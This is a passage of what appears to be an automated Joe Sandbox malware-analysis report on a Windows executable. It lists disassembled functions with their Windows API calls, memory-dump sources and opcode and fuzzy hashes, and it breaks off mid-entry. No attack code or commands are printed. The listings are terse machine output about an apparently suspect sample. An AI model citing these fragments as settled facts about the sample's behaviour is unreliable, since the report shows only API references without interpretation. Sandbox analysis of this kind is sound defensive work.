                                                                                      • Opcode ID: e8eec4a681b40bc88429b945b2bcc7a512e3bb9821abfaf2d5897079c674cf7b
                                                                                      • Instruction ID: 46f3bcd34dc8f3e6dc1172b659178b25c8c169cf99e6c495c99b8002eae4c42f
                                                                                      • Opcode Fuzzy Hash: e8eec4a681b40bc88429b945b2bcc7a512e3bb9821abfaf2d5897079c674cf7b
                                                                                      • Instruction Fuzzy Hash: 552193312005159FCB14AF68CC49B7E7BA9BF88750F044459FA569B291CB78EC028B61
                                                                                      Function 005F8420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • IsWindow.USER32(00000000), ref: 005F8441
                                                                                      • GetForegroundWindow.USER32 ref: 005F8458
                                                                                      • GetDC.USER32(00000000), ref: 005F8494
                                                                                      • GetPixel.GDI32(00000000,?,00000003), ref: 005F84A0
                                                                                      • ReleaseDC.USER32(00000000,00000003), ref: 005F84DB
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$ForegroundPixelRelease
                                                                                      • String ID:
                                                                                      • API String ID: 4156661090-0
                                                                                      • Opcode ID: 20cca97ebfc9d68b77a8e6cc98d2ac7fc457d7501c76c649c08d7257cfc36f05
                                                                                      • Instruction ID: 04f9beb0d26e83e13fd61e901eeca6381f6428141dc4dc466f9d82d2b2156ee9
                                                                                      • Opcode Fuzzy Hash: 20cca97ebfc9d68b77a8e6cc98d2ac7fc457d7501c76c649c08d7257cfc36f05
                                                                                      • Instruction Fuzzy Hash: 7B21A435A00205AFDB10EFA4C889AAEBFF5FF88301F048479E95A97251DB74EC05CB60
                                                                                      Function 005BAF83 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 005BAFE3
                                                                                      • SelectObject.GDI32(?,00000000), ref: 005BAFF2
                                                                                      • BeginPath.GDI32(?), ref: 005BB009
                                                                                      • SelectObject.GDI32(?,00000000), ref: 005BB033
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ObjectSelect$BeginCreatePath
                                                                                      • String ID:
                                                                                      • API String ID: 3225163088-0
                                                                                      • Opcode ID: 8305f2efa68a4c9637b75ce7f532ef7c75a1a4338755c026375d9269bc09794f
                                                                                      • Instruction ID: 0bb44657031b843fa91c592586c71fcf04ae9eacbf1dba70a261c2d4d0393f74
                                                                                      • Opcode Fuzzy Hash: 8305f2efa68a4c9637b75ce7f532ef7c75a1a4338755c026375d9269bc09794f
                                                                                      • Instruction Fuzzy Hash: 4821A178804249EFDB20EF54EC487EA7F6ABB11355F28531AF821DA1A0C3F0A951CB50
                                                                                      Function 005C217F Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __calloc_crt.LIBCMT ref: 005C21A9
                                                                                      • CreateThread.KERNEL32(?,?,005C22DF,00000000,?,?), ref: 005C21ED
                                                                                      • GetLastError.KERNEL32 ref: 005C21F7
                                                                                      • _free.LIBCMT ref: 005C2200
                                                                                      • __dosmaperr.LIBCMT ref: 005C220B
                                                                                        • Part of subcall function 005C7C0E: __getptd_noexit.LIBCMT ref: 005C7C0E
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
                                                                                      • String ID:
                                                                                      • API String ID: 2664167353-0
                                                                                      • Opcode ID: 65a94415df27c81ac7869b549469ffbe11cf60957d85593e780488ca8795147e
                                                                                      • Instruction ID: 8b59aa32de2f5de943b47a72c7a96af19e116c862f36c344de1012326d9c2b27
                                                                                      • Opcode Fuzzy Hash: 65a94415df27c81ac7869b549469ffbe11cf60957d85593e780488ca8795147e
                                                                                      • Instruction Fuzzy Hash: 28118E3610470BAF9B21AFE9DC46EAB3F99BF85760F10042DF91486192EB7198118AA1
                                                                                      Function 005DABBB Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 005DABD7
                                                                                      • GetLastError.KERNEL32(?,005DA69F,?,?,?), ref: 005DABE1
                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,005DA69F,?,?,?), ref: 005DABF0
                                                                                      • HeapAlloc.KERNEL32(00000000,?,005DA69F,?,?,?), ref: 005DABF7
                                                                                      • GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 005DAC0E
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                                                      • String ID:
                                                                                      • API String ID: 842720411-0
                                                                                      • Opcode ID: 1682853ddeb6941c72ccd09bd7ab07655c834ce119568ad0b2b4c0758253f52e
                                                                                      • Instruction ID: 0a91e85372408ebda811dab5acf8e5b204c40cb8fa5aa30cb17a847c7cd6ce14
                                                                                      • Opcode Fuzzy Hash: 1682853ddeb6941c72ccd09bd7ab07655c834ce119568ad0b2b4c0758253f52e
                                                                                      • Instruction Fuzzy Hash: 43011971211205BFDB204FA9DC48DAB3FAEFF8A765B10442AF945D3260DA71DC51CBA1
                                                                                      Function 005E7A58 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 005E7A74
                                                                                      • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 005E7A82
                                                                                      • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 005E7A8A
                                                                                      • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 005E7A94
                                                                                      • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 005E7AD0
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                      • String ID:
                                                                                      • API String ID: 2833360925-0
                                                                                      • Opcode ID: 93b077e2d288fcc062719d620a6b8d57e4a9ab7e43c378d8f6d80a814b1309fe
                                                                                      • Instruction ID: 8c3ce90df24b88bf499241f73b1a52e8cfe64685e4a2013bb15e791138ac0c11
                                                                                      • Opcode Fuzzy Hash: 93b077e2d288fcc062719d620a6b8d57e4a9ab7e43c378d8f6d80a814b1309fe
                                                                                      • Instruction Fuzzy Hash: A6015771C04A1DEBDF14AFE6DC48ADDBB79FB0C301F040465E542B2150DB309655C7A1
                                                                                      Function 005D9ABF Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CLSIDFromProgID.OLE32 ref: 005D9ADC
                                                                                      • ProgIDFromCLSID.OLE32(?,00000000), ref: 005D9AF7
                                                                                      • lstrcmpiW.KERNEL32(?,00000000), ref: 005D9B05
                                                                                      • CoTaskMemFree.OLE32(00000000,?,00000000), ref: 005D9B15
                                                                                      • CLSIDFromString.OLE32(?,?), ref: 005D9B21
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: From$Prog$FreeStringTasklstrcmpi
                                                                                      • String ID:
                                                                                      • API String ID: 3897988419-0
                                                                                      • Opcode ID: f406c48876c77f100d6fa09310b4de6cc7698f3220764cfa0d14adacd820c21b
                                                                                      • Instruction ID: dd4190814ba47abec920015fd9544141c91dd58b332e45a0cc456a74a1645055
                                                                                      • Opcode Fuzzy Hash: f406c48876c77f100d6fa09310b4de6cc7698f3220764cfa0d14adacd820c21b
                                                                                      • Instruction Fuzzy Hash: 0F018F76600604BFEB204F58EC44B9ABEEEEB44351F154027F905E2210D774DD019BA0
                                                                                      Function 005DAA62 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 005DAA79
                                                                                      • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 005DAA83
                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 005DAA92
                                                                                      • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 005DAA99
                                                                                      • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 005DAAAF
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                                      • String ID:
                                                                                      • API String ID: 44706859-0
                                                                                      • Opcode ID: 27dab928653ec14723082743636e198cf10f64142a3e4b5d0017b6377428ab3a
                                                                                      • Instruction ID: 6d5a7c073af1f34e13270ae79ba6d6be8b745d6914442bd0e02e60c04e0c5cab
                                                                                      • Opcode Fuzzy Hash: 27dab928653ec14723082743636e198cf10f64142a3e4b5d0017b6377428ab3a
                                                                                      • Instruction Fuzzy Hash: 77F04F712002057FEB315FA8EC89E6B3FADFF4A755F10051AF941C72A0DA60DC42CA61
                                                                                      Function 005DAAC3 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 005DAADA
                                                                                      • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 005DAAE4
                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 005DAAF3
                                                                                      • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 005DAAFA
                                                                                      • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 005DAB10
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                                      • String ID:
                                                                                      • API String ID: 44706859-0
                                                                                      • Opcode ID: 0bcd107e9297797439a07810a38f7c2712b0cd255f66f820b4146c2e57911829
                                                                                      • Instruction ID: 355189422cfb3bf97fa1cd54b1e75e91cbb47fac3efead59f8601e97a7cdb662
                                                                                      • Opcode Fuzzy Hash: 0bcd107e9297797439a07810a38f7c2712b0cd255f66f820b4146c2e57911829
                                                                                      • Instruction Fuzzy Hash: D1F04F712012097FEB210FA8EC88E6B3B6EFF46754F10042BF941C72A0CA6098138A61
                                                                                      Function 005DEC80 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetDlgItem.USER32(?,000003E9), ref: 005DEC94
                                                                                      • GetWindowTextW.USER32(00000000,?,00000100), ref: 005DECAB
                                                                                      • MessageBeep.USER32(00000000), ref: 005DECC3
                                                                                      • KillTimer.USER32(?,0000040A), ref: 005DECDF
                                                                                      • EndDialog.USER32(?,00000001), ref: 005DECF9
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                                      • String ID:
                                                                                      • API String ID: 3741023627-0
                                                                                      • Opcode ID: 209c714876e372f08a2a7f59c95e2ca4444be89f17949bb700a7d40cca58fc2e
                                                                                      • Instruction ID: 1f75464eaa2179f73f130a641dbcd3048a361896a3ea2a25d763ec64d4027070
                                                                                      • Opcode Fuzzy Hash: 209c714876e372f08a2a7f59c95e2ca4444be89f17949bb700a7d40cca58fc2e
                                                                                      • Instruction Fuzzy Hash: 7A018130510B05ABEB346B14DE4FB967BB9FB00B05F00155AB983B55E0DBF4AE55CB40
                                                                                      Function 005BB0AB Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • EndPath.GDI32(?), ref: 005BB0BA
                                                                                      • StrokeAndFillPath.GDI32(?,?,0061E680,00000000,?,?,?), ref: 005BB0D6
                                                                                      • SelectObject.GDI32(?,00000000), ref: 005BB0E9
                                                                                      • DeleteObject.GDI32 ref: 005BB0FC
                                                                                      • StrokePath.GDI32(?), ref: 005BB117
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                      • String ID:
                                                                                      • API String ID: 2625713937-0
                                                                                      • Opcode ID: 7ad03dc9af949b0c4b7ccaa669fca71440d058a62093cd022fffe683284eba42
                                                                                      • Instruction ID: 4bd819bd21aa1df9cc8b7c6234e84e084dee2ba41ac1787fa4e445a02ca02660
                                                                                      • Opcode Fuzzy Hash: 7ad03dc9af949b0c4b7ccaa669fca71440d058a62093cd022fffe683284eba42
                                                                                      • Instruction Fuzzy Hash: FBF0C938004648EFDB219F69EC0D7A53F66B712366F18A315E825890F0C7F19A66DF54
                                                                                      Function 005EF23D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CoInitialize.OLE32(00000000), ref: 005EF2DA
                                                                                      • CoCreateInstance.OLE32(0062DA7C,00000000,00000001,0062D8EC,?), ref: 005EF2F2
                                                                                      • CoUninitialize.OLE32 ref: 005EF555
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateInitializeInstanceUninitialize
                                                                                      • String ID: .lnk
                                                                                      • API String ID: 948891078-24824748
                                                                                      • Opcode ID: 212398074371e7a9113e928a5d6fb07eac8e05098d639e7951d3c01f26a62dbd
                                                                                      • Instruction ID: 22f7e4e7c68392e29f73c7ab887a63316ae249cbd11254cb1e2b6554c9f10216
                                                                                      • Opcode Fuzzy Hash: 212398074371e7a9113e928a5d6fb07eac8e05098d639e7951d3c01f26a62dbd
                                                                                      • Instruction Fuzzy Hash: AFA11971104206AFD300EF64C886DAFBBACBFD9714F40491DF5959B192EB70EA49CB62
                                                                                      Function 005EE7DD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005A53B1,?,?,005A61FF,?,00000000,00000001,00000000), ref: 005A662F
                                                                                      • CoInitialize.OLE32(00000000), ref: 005EE85D
                                                                                      • CoCreateInstance.OLE32(0062DA7C,00000000,00000001,0062D8EC,?), ref: 005EE876
                                                                                      • CoUninitialize.OLE32 ref: 005EE893
                                                                                        • Part of subcall function 005A936C: __swprintf.LIBCMT ref: 005A93AB
                                                                                        • Part of subcall function 005A936C: __itow.LIBCMT ref: 005A93DF
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
                                                                                      • String ID: .lnk
                                                                                      • API String ID: 2126378814-24824748
                                                                                      • Opcode ID: e876f271f4b7c6ca7dc89931baf9f597ee1f01ef5773d0079a13fc4706595edc
                                                                                      • Instruction ID: 2bc0777f35daabb737115455976d92a868df189ccf8557f4d893240b24062241
                                                                                      • Opcode Fuzzy Hash: e876f271f4b7c6ca7dc89931baf9f597ee1f01ef5773d0079a13fc4706595edc
                                                                                      • Instruction Fuzzy Hash: D1A165356043529FCB14DF15C889D2EBBE5BF89310F048959F9969B3A2CB31EC45CB91
                                                                                      Function 005C325D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __startOneArgErrorHandling.LIBCMT ref: 005C32ED
                                                                                        • Part of subcall function 005CE0D0: __87except.LIBCMT ref: 005CE10B
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorHandling__87except__start
                                                                                      • String ID: pow
                                                                                      • API String ID: 2905807303-2276729525
                                                                                      • Opcode ID: 9e7e9d84b9cc9f34a2b43dd5b11f1fa8066f2e672285789d13c9af9c35c7ec52
                                                                                      • Instruction ID: 48828f0744d15e38d30cb4b8b784eead3b0dcb97f5967b9d93ea867d6b175ce1
                                                                                      • Opcode Fuzzy Hash: 9e7e9d84b9cc9f34a2b43dd5b11f1fa8066f2e672285789d13c9af9c35c7ec52
                                                                                      • Instruction Fuzzy Hash: 38516A35A0820A9ECB1567D4C946F7A2F95BB80B10F34DD6CE4C5822E9DF388E94D686
                                                                                      Function 005E4606 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,0063DC50,?,0000000F,0000000C,00000016,0063DC50,?), ref: 005E4645
                                                                                        • Part of subcall function 005A936C: __swprintf.LIBCMT ref: 005A93AB
                                                                                        • Part of subcall function 005A936C: __itow.LIBCMT ref: 005A93DF
                                                                                      • CharUpperBuffW.USER32(?,?,00000000,?), ref: 005E46C5
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BuffCharUpper$__itow__swprintf
                                                                                      • String ID: REMOVE$THIS
                                                                                      • API String ID: 3797816924-776492005
                                                                                      • Opcode ID: 98a5cdbd17aea25539a4cc3549c6f02c5561590545e354980c195bc4aa032bd0
                                                                                      • Instruction ID: 9cc78f1bf446cdf1ed8c0004ffaa683b900952cd42857bf551b62e6d66ca507c
                                                                                      • Opcode Fuzzy Hash: 98a5cdbd17aea25539a4cc3549c6f02c5561590545e354980c195bc4aa032bd0
                                                                                      • Instruction Fuzzy Hash: C841B274A0029A9FCF04EF65C845AADBFB5FF45304F048459E996AB392DB349C02CF90
                                                                                      Function 005DC189 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
